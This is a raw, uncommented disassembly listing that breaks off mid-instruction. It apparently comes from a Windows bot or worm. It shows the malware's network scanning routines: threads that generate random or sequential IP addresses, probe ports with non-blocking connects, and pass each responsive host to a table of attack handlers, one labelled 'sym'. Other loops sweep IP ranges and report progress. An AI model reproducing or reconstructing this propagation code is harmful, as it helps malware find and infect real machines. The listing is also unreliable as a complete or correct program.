1 jmp short loc_40BA0C ; --------------------------------------------------------------------------- loc_40B9F5: ; CODE XREF: sub_40B945+94j lea eax, [ebp+arg_90] push eax push offset dword_4D0078 call sub_41BDC0 mov dword_4D00FC, ebx loc_40BA0C: ; CODE XREF: sub_40B945+AEj add esp, 0Ch lea eax, [ebp+var_204] push esi push dword_4D0074 push offset unk_42D518 push eax call sub_41C056 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40AF8D add esp, 1Ch mov dword_4D006C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CFE60 push offset sub_411DF4 push ebx push ebx call dword_42807C ; CreateThread mov ecx, dword_4D006C imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz loc_40BB10 call dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_4331EC push eax call sub_41C056 add esp, 0Ch loc_40BA8A: ; CODE XREF: sub_40B945+1D3j lea eax, [ebp+var_204] push eax call sub_4157A5 mov eax, dword_4CD998 mov esi, offset dword_4D010C mov [esp+210h+var_210], 104h push esi push ebx mov dword_4D031C, eax mov dword_4D0318, ebx call dword_428074 ; GetModuleFileNameA push 103h push edi push offset dword_4D0210 call sub_41BDC0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4D0108, eax mov eax, [ebp+arg_138] pop edi mov dword_4D03A0, eax push 7Fh jnz short loc_40BB1D lea eax, [ebp+arg_10] push eax push offset dword_4D0320 call sub_41BDC0 mov dword_4D03A4, 1 jmp short loc_40BB34 ; --------------------------------------------------------------------------- loc_40BB08: ; CODE XREF: sub_40B945+1D1j push 32h call dword_428064 ; Sleep loc_40BB10: ; CODE XREF: sub_40B945+124j cmp dword_4D0100, ebx jz short loc_40BB08 jmp loc_40BA8A ; --------------------------------------------------------------------------- loc_40BB1D: ; CODE XREF: sub_40B945+1A7j lea eax, [ebp+arg_90] push eax push offset dword_4D0320 call sub_41BDC0 mov dword_4D03A4, ebx loc_40BB34: ; CODE XREF: sub_40B945+1C1j add esp, 0Ch lea eax, [ebp+var_204] push esi push dword_4D031C push offset unk_4331B8 push eax call sub_41C056 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40AF8D add esp, 1Ch mov dword_4D0314, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D0108 push offset sub_40F23F push ebx push ebx call dword_42807C ; CreateThread mov ecx, dword_4D0314 imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz loc_40BC38 call dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_433184 push eax call sub_41C056 add esp, 0Ch loc_40BBB2: ; CODE XREF: sub_40B945+2FBj lea eax, [ebp+var_204] push eax call sub_4157A5 pop ecx loc_40BBBF: ; CODE XREF: sub_40B945+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_432AA4[ecx], ebx jz loc_40BCEC push 7 call sub_40B1CF test eax, eax pop ecx jnz loc_40BCE6 mov eax, dword_4D0A9C cmp [ebp+arg_90], bl mov dword_4CFDCC, eax mov eax, [ebp+arg_110] mov dword_4CFDC0, eax mov eax, [ebp+arg_138] mov dword_4CFDC8, ebx mov dword_4CFE50, eax push 7Fh jnz short loc_40BC45 lea eax, [ebp+arg_10] push eax push offset dword_4CFDD0 call sub_41BDC0 mov dword_4CFE54, 1 jmp short loc_40BC5C ; --------------------------------------------------------------------------- loc_40BC30: ; CODE XREF: sub_40B945+2F9j push 32h call dword_428064 ; Sleep loc_40BC38: ; CODE XREF: sub_40B945+24Cj cmp dword_4D03A8, ebx jz short loc_40BC30 jmp loc_40BBB2 ; --------------------------------------------------------------------------- loc_40BC45: ; CODE XREF: sub_40B945+2CFj lea eax, [ebp+arg_90] push eax push offset dword_4CFDD0 call sub_41BDC0 mov dword_4CFE54, ebx loc_40BC5C: ; CODE XREF: sub_40B945+2E9j add esp, 0Ch lea eax, [ebp+var_204] push dword_4CFDCC push offset unk_433154 push eax call sub_41C056 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40AF8D add esp, 18h mov dword_4CFDC4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CFDC0 push offset sub_40EF9D push ebx push ebx call dword_42807C ; CreateThread mov ecx, dword_4CFDC4 imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz loc_40BDDE call dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_43311C push eax call sub_41C056 add esp, 0Ch loc_40BCD9: ; CODE XREF: sub_40B945+4A1j lea eax, [ebp+var_204] push eax call sub_4157A5 pop ecx loc_40BCE6: ; CODE XREF: sub_40B945+29Bj mov eax, [ebp+arg_130] loc_40BCEC: ; CODE XREF: sub_40B945+28Bj shl eax, 6 cmp dword_432AA0[eax], ebx jz loc_40BE25 push 3 call sub_40B1CF test eax, eax pop ecx jnz loc_40BE25 mov esi, offset dword_4D063C push 104h push esi push ebx call dword_428074 ; GetModuleFileNameA push 5Ch push esi call sub_41C610 pop ecx cmp eax, ebx pop ecx jz short loc_40BD2D mov [eax], bl loc_40BD2D: ; CODE XREF: sub_40B945+3E4j mov eax, dword_4CDB04 mov dword_4D0754, ebx mov dword_4D0740, eax lea eax, [ebp+arg_10] push eax push offset dword_4D03B4 call sub_41C056 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4D03B0, eax mov ecx, [ebp+arg_138] push esi push dword_4D0740 mov dword_4D074C, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4D0750, ecx call sub_40AB14 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42D4A0 push eax call sub_41C056 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40AF8D add esp, 20h mov dword_4D0748, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D03B0 push offset sub_40F956 push ebx push ebx call dword_42807C ; CreateThread mov ecx, dword_4D0748 imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jz short loc_40BDFD jmp short loc_40BDF3 ; --------------------------------------------------------------------------- loc_40BDD6: ; CODE XREF: sub_40B945+49Fj push 32h call dword_428064 ; Sleep loc_40BDDE: ; CODE XREF: sub_40B945+373j cmp dword_4CFE58, ebx jz short loc_40BDD6 jmp loc_40BCD9 ; --------------------------------------------------------------------------- loc_40BDEB: ; CODE XREF: sub_40B945+4B4j push 32h call dword_428064 ; Sleep loc_40BDF3: ; CODE XREF: sub_40B945+48Fj cmp dword_4D075C, ebx jz short loc_40BDEB jmp short loc_40BE18 ; --------------------------------------------------------------------------- loc_40BDFD: ; CODE XREF: sub_40B945+48Dj call dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_4330E8 push eax call sub_41C056 add esp, 0Ch loc_40BE18: ; CODE XREF: sub_40B945+4B6j lea eax, [ebp+var_204] push eax call sub_4157A5 pop ecx loc_40BE25: ; CODE XREF: sub_40B945+14j ; sub_40B945+25j ... pop esi pop ebx leave retn sub_40B945 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE29 proc near ; CODE XREF: sub_40BFAA:loc_40C00Cp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CDDA8h[eax*8] lea eax, [ebp+arg_0] push esi push eax call near ptr sub_41CAE0 add esp, 0Ch push [ebp+arg_0] call dword_4CDB8C ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_4CDC60 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call near ptr sub_41CAE0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BE29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE71 proc near ; CODE XREF: sub_40BFAA+5Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B7B0 cmp eax, 0Fh pop ecx jbe short loc_40BE99 xor eax, eax jmp short loc_40BF0A ; --------------------------------------------------------------------------- loc_40BE99: ; CODE XREF: sub_40BE71+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41CE15 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40BEC6 call sub_41C0B2 mov [ebp+var_C], eax loc_40BEC6: ; CODE XREF: sub_40BE71+4Bj cmp [ebp+var_8], esi jnz short loc_40BED3 call sub_41C0B2 mov [ebp+var_8], eax loc_40BED3: ; CODE XREF: sub_40BE71+58j cmp [ebp+var_4], esi jnz short loc_40BEE0 call sub_41C0B2 mov [ebp+var_4], eax loc_40BEE0: ; CODE XREF: sub_40BE71+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40BEEC call sub_41C0B2 loc_40BEEC: ; CODE XREF: sub_40BE71+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CDDA8[ecx*8], eax loc_40BF0A: ; CODE XREF: sub_40BE71+26j pop esi leave retn sub_40BE71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF0D proc near ; CODE XREF: sub_40B71C+5Cp ; sub_40BFAA+A9p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx inc edi push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CDCE4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40BF36 xor eax, eax jmp short loc_40BFA5 ; --------------------------------------------------------------------------- loc_40BF36: ; CODE XREF: sub_40BF0D+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CDC64 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CDD00 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CDC0C ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CDC4C ; select push esi mov edi, eax call dword_4CDCFC ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40BFA5: ; CODE XREF: sub_40BF0D+27j pop edi pop esi pop ebx leave retn sub_40BF0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFAA proc near ; DATA XREF: sub_40C1BE+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 mov ebx, esi pop ecx imul ebx, 234h jmp loc_40C19B ; --------------------------------------------------------------------------- loc_40BFF6: ; CODE XREF: sub_40BFAA+1FFj cmp [ebp+var_10], 0 push eax jz short loc_40C00C lea eax, [ebp+var_150] push eax call sub_40BE71 pop ecx jmp short loc_40C011 ; --------------------------------------------------------------------------- loc_40C00C: ; CODE XREF: sub_40BFAA+51j call sub_40BE29 loc_40C011: ; CODE XREF: sub_40BFAA+60j pop ecx mov edi, eax push [ebp+arg_0] push dword_440B9C[ebx] push [ebp+var_3C] push edi call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_433248 push eax call sub_41C056 lea eax, [ebp+var_28C] push eax lea eax, dword_440998[ebx] push eax call sub_41C056 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40BF0D add esp, 2Ch cmp eax, 1 jnz loc_40C190 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C0E5 push offset dword_4CFDA8 call dword_4280D4 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_433220 push eax call sub_41C056 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C0C7 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C0BB lea eax, [ebp+var_140] loc_40C0BB: ; CODE XREF: sub_40BFAA+109j push eax push [ebp+var_40] call sub_409982 add esp, 14h loc_40C0C7: ; CODE XREF: sub_40BFAA+EEj lea eax, [ebp+var_28C] push eax call sub_4157A5 mov [esp+2A8h+var_2A8], offset dword_4CFDA8 call dword_4280D0 ; RtlLeaveCriticalSection jmp loc_40C190 ; --------------------------------------------------------------------------- loc_40C0E5: ; CODE XREF: sub_40BFAA+BEj push edi call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_41C056 mov eax, [ebp+var_20] shl eax, 6 add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41C056 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40C129 lea eax, [ebp+var_140] loc_40C129: ; CODE XREF: sub_40BFAA+177j push eax lea eax, [ebp+var_1F8] push eax call sub_41C056 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_432A94[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C190: ; CODE XREF: sub_40BFAA+B4j ; sub_40BFAA+136j push 7D0h call dword_428064 ; Sleep loc_40C19B: ; CODE XREF: sub_40BFAA+47j mov eax, dword_440B9C[ebx] cmp dword_4CDDAC[eax*8], 0 jnz loc_40BFF6 push esi call sub_40B2A3 pop ecx push 0 call dword_4280CC ; ExitThread sub_40BFAA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1BE proc near ; DATA XREF: sub_401B66+1EA7o ; sub_401B66+5B74o var_20C = dword ptr -20Ch var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_14C] inc ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CDCA4 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CDDA8[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40B945 push 0Bh call sub_40B1CF add esp, 150h cmp eax, ebx jnz short loc_40C28C mov esi, offset dword_4CFDA8 push esi call dword_4280DC ; RtlDeleteCriticalSection push 80000400h push esi call dword_4280D8 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40C28C lea eax, [ebp+var_1CC] push offset unk_43332C push eax call sub_41C056 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C276 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409982 add esp, 14h loc_40C276: ; CODE XREF: sub_40C1BE+99j lea eax, [ebp+var_1CC] push eax call sub_4157A5 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C28C: ; CODE XREF: sub_40C1BE+63j ; sub_40C1BE+7Fj mov eax, [ebp+var_2C] mov esi, dword_428064 mov edi, ebx mov dword_4CDDAC[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C34E loc_40C2AA: ; CODE XREF: sub_40C1BE+18Aj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_4332F8 push eax call sub_41C056 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40AF8D mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_440B9C[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40BFAA push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_40C365 call dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset unk_4332C0 push eax call sub_41C056 lea eax, [ebp+var_1CC] push eax call sub_4157A5 add esp, 10h loc_40C340: ; CODE XREF: sub_40C1BE+1ACj push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_40C2AA loc_40C34E: ; CODE XREF: sub_40C1BE+E6j cmp [ebp+var_30], ebx jz short loc_40C373 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep jmp short loc_40C380 ; --------------------------------------------------------------------------- loc_40C361: ; CODE XREF: sub_40C1BE+1AAj push 1Eh call esi ; Sleep loc_40C365: ; CODE XREF: sub_40C1BE+159j cmp [ebp+var_4], ebx jz short loc_40C361 jmp short loc_40C340 ; --------------------------------------------------------------------------- loc_40C36C: ; CODE XREF: sub_40C1BE+1C0j push 7D0h call esi ; Sleep loc_40C373: ; CODE XREF: sub_40C1BE+193j mov eax, [ebp+var_2C] cmp dword_4CDDAC[eax*8], 1 jz short loc_40C36C loc_40C380: ; CODE XREF: sub_40C1BE+1A1j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CDDA8[eax*8] push eax call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset unk_433280 push eax call sub_41C056 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C3CE push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409982 add esp, 14h loc_40C3CE: ; CODE XREF: sub_40C1BE+1F1j lea eax, [ebp+var_1CC] push eax call sub_4157A5 mov eax, [ebp+var_2C] mov [esp+20Ch+var_20C], 0BB8h mov dword_4CDDAC[eax*8], ebx call esi ; Sleep push 0Bh call sub_40B1CF cmp eax, 1 pop ecx jnz short loc_40C405 push offset dword_4CFDA8 call dword_4280DC ; RtlDeleteCriticalSection loc_40C405: ; CODE XREF: sub_40C1BE+23Aj push [ebp+var_2C] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread sub_40C1BE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C415 proc near ; DATA XREF: sub_40C4E2+7Bo ; sub_40C5D3+7Bo var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 10h rep movsd xor esi, esi push 0 inc esi mov [eax+0A8h], esi lea eax, [ebp+var_10] push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CDC64 ; ntohs mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CDCE4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C4D3 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CDC0C ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_440BA4[ecx], esi jz short loc_40C4D3 push [ebp+var_38] push [ebp+var_28] call dword_4CDCF0 ; inet_ntoa push eax mov edi, offset dword_4D0768 push offset unk_433360 push edi call sub_41C056 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409982 push edi call sub_4157A5 add esp, 28h loc_40C4D3: ; CODE XREF: sub_40C415+5Dj ; sub_40C415+7Ej push esi call dword_4CDCFC ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_40C415 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40C4E2 proc near ; DATA XREF: sub_401B66+5F62o var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, dword_428064 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C510: ; CODE XREF: sub_40C4E2+ECj push [ebp+var_30] push [ebp+var_20] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_134] push offset unk_433388 push eax call sub_41C056 lea eax, [ebp+var_134] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_440998 push eax call sub_41BDC0 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push offset sub_40C415 push edi push edi call dword_42807C ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40C57C jmp short loc_40C577 ; --------------------------------------------------------------------------- loc_40C573: ; CODE XREF: sub_40C4E2+98j push 32h call esi ; Sleep loc_40C577: ; CODE XREF: sub_40C4E2+8Fj cmp [ebp+var_C], edi jz short loc_40C573 loc_40C57C: ; CODE XREF: sub_40C4E2+8Dj push [ebp+var_4] call dword_42806C ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call near ptr sub_41CAE0 add esp, 0Ch push [ebp+arg_0] call dword_4CDB8C ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_4CDC60 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call near ptr sub_41CAE0 add esp, 0Ch jmp loc_40C510 sub_40C4E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C5D3 proc near ; DATA XREF: sub_401B66+5C79o var_130 = byte ptr -130h var_B0 = dword ptr -0B0h var_AC = byte ptr -0ACh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_428064 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C601: ; CODE XREF: sub_40C5D3+BCj push [ebp+var_2C] push [ebp+var_1C] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_4333DC push eax call sub_41C056 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_20] imul eax, 234h add eax, offset dword_440998 push eax call sub_41BDC0 add esp, 1Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_40C415 push edi push edi call dword_42807C ; CreateThread cmp eax, edi mov [ebp+arg_0], eax jz short loc_40C66D jmp short loc_40C668 ; --------------------------------------------------------------------------- loc_40C664: ; CODE XREF: sub_40C5D3+98j push 32h call esi ; Sleep loc_40C668: ; CODE XREF: sub_40C5D3+8Fj cmp [ebp+var_8], edi jz short loc_40C664 loc_40C66D: ; CODE XREF: sub_40C5D3+8Dj push [ebp+arg_0] call dword_42806C ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz short loc_40C694 inc [ebp+var_2C] jmp loc_40C601 ; --------------------------------------------------------------------------- loc_40C694: ; CODE XREF: sub_40C5D3+B7j push [ebp+var_1C] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_4333B0 push eax call sub_41C056 push edi lea eax, [ebp+var_130] push [ebp+var_14] push eax lea eax, [ebp+var_AC] push eax push [ebp+var_B0] call sub_409982 push [ebp+var_20] call sub_40B2A3 add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40C5D3 endp ; =============== S U B R O U T I N E ======================================= sub_40C6E0 proc near ; CODE XREF: sub_40C94C+Ep ; sub_40C94C+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C6E0 endp ; =============== S U B R O U T I N E ======================================= sub_40C6EA proc near ; CODE XREF: sub_40C94C+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_41BCA5 mov edi, eax pop ecx test edi, edi jz short loc_40C71C push ebx push 0 push edi call sub_41BD60 push ebx push [esp+1Ch+arg_0] push edi call near ptr sub_41CAE0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C71C: ; CODE XREF: sub_40C6EA+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C6EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C724 proc near ; CODE XREF: sub_40C816+18p ; sub_40C890+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx mov ecx, [ebp+arg_C] push esi push edi lea edi, [eax+ecx] push edi call sub_41BCA5 mov esi, eax pop ecx test esi, esi jz short loc_40C770 push edi push 0 push esi call sub_41BD60 push [ebp+arg_4] push [ebp+arg_0] push esi call near ptr sub_41CAE0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call near ptr sub_41CAE0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C770: ; CODE XREF: sub_40C724+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C724 endp ; =============== S U B R O U T I N E ======================================= sub_40C779 proc near ; CODE XREF: sub_40C816+5Ep ; sub_40C816+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C789 push eax call sub_41B881 pop ecx loc_40C789: ; CODE XREF: sub_40C779+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C779 endp ; =============== S U B R O U T I N E ======================================= sub_40C792 proc near ; CODE XREF: sub_40C816+20p ; sub_40C8F1+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C7BC xor ebx, ebx cmp eax, 7Fh setnl bl lea ebx, [ebx+ebx+1] add eax, ebx push eax call sub_41BCA5 mov edi, eax pop ecx test edi, edi jnz short loc_40C7C0 loc_40C7BC: ; CODE XREF: sub_40C792+Dj xor al, al jmp short loc_40C812 ; --------------------------------------------------------------------------- loc_40C7C0: ; CODE XREF: sub_40C792+28j mov eax, [esi+4] add eax, ebx push eax push 0 push edi call sub_41BD60 add esp, 0Ch cmp ebx, 1 jnz short loc_40C7E0 mov al, [esi+4] mov [edi], al lea eax, [edi+1] jmp short loc_40C7F5 ; --------------------------------------------------------------------------- loc_40C7E0: ; CODE XREF: sub_40C792+42j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al lea eax, [edi+3] loc_40C7F5: ; CODE XREF: sub_40C792+4Cj push dword ptr [esi+4] push dword ptr [esi] push eax call near ptr 